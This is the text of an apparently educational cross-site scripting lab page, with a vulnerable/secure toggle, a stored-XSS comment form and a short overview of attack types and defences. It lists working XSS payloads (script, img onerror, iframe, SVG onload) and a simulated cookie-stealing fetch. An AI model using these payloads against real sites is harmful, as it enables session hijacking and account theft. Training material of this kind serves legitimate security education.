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Advanced XSS Lab

XSS Attack Type

Security Mode

VulnerableSecure

Toggle between vulnerable and secure rendering modes.

Vulnerable Mode Active

Raw HTML content is rendered directly (DANGEROUS!).

Post a Comment (Stored XSS)

XSS Payloads

Basic Script Alert

Simple script tag execution - stored permanently

<script>alert("Stored XSS Attack!")</script>
Image Onerror

XSS through image error handler

<img src="invalid" onerror="alert('Stored XSS via onerror')" />
Iframe Injection

Hidden iframe with JavaScript execution

<iframe src="javascript:alert('Stored XSS via iframe')" width="0" height="0"></iframe>
SVG XSS

SVG element with onload event

<svg onload="alert('Stored XSS via SVG')" />
Cookie Theft

Steals session cookies (simulated)

<script>fetch("/api/steal-cookie?cookie="+document.cookie)</script>

🎯Advanced XSS Attack Vectors

Cross-Site Scripting (XSS) vulnerabilities allow attackers to inject malicious scripts into web applications. This enhanced lab demonstrates three primary XSS attack vectors with real-world scenarios and comprehensive prevention techniques used in enterprise security.

Attack Types:

  • • Stored XSS: Persistent attacks
  • • Reflected XSS: Non-persistent attacks
  • • DOM XSS: Client-side manipulation
  • • Advanced bypass techniques

What You'll Learn:

  • • XSS attack methodologies
  • • Payload construction techniques
  • • Real-world exploitation scenarios
  • • Defense mechanisms and CSP

Professional Skills:

  • • OWASP Top 10 #7 - XSS vulnerabilities
  • • Web application penetration testing
  • • Secure development practices
  • • Input validation and output encoding

Comments Feed (Stored XSS)

No comments yet. Post a comment to test stored XSS!

🛡️XSS Prevention & Mitigation